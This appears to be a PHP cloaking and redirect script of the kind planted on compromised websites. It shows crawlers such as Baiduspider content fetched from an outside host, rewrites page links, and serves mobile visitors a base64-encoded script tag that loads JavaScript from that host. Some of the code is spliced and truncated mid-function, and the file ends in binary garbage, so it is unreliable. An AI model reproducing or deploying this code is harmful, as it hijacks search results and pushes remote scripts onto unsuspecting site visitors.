$a = "stristr";
$b = $_SERVER;
function httpGetlai($c) {
$d = curl_init();
curl_setopt($d, CURLOPT_URL, $c);
curl_setopt($d, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
curl_setopt($d, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($d, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($d, CURLOPT_HEADER, 0);
$e = curl_exec($d);
curl_close($d);
return $e;
}
define('url', $b['REQUEST_URI']);
define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']);
define('ent', $b['HTTP_USER_AGENT']);
define('site', "http://liuhe.yiqiding.cc/?");
define('road', "app?domain=".$b['HTTP_HOST'].
"&path=".url.
"&spider=".urlencode(ent));
define('memes', road.
"&referer=".urlencode(ref));
define('regs', '@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i');
define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
define('area', $a(url, "scm") or $a(url, "id=") or $a(url, ".scm") or $a(url, ".shtml") or $a(url, "asp") or $a(url, "/dy") or $a(url, "/v") or $a(url, "aspx") or $a(url, ".shtml"));
function replace_links($buffer) {
global $links;
$regex = '/ $match) {
if (isset($links[$index])) {
$replacements[$index] =']*>(.*?)/i', $str_u, $matches);
$links = $matches[1];
ob_start('replace_links'); // 使用自定义回调函数
}
}
if (area && preg_match(mobile, ent)) {
echo base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL2xpdWhlLnlpcWlkaW5nLmNjLzYuanM+PC9zY3JpcHQ+');
exit;
}
Xo[fEm %۲> Y2EqI^צHjC7ws^5y3fT=^R$ǩ;`E@"=9r_¥U䲶Z/aPp| vqP:V6i(lAd>#>mR
lP,>e{jlc4 1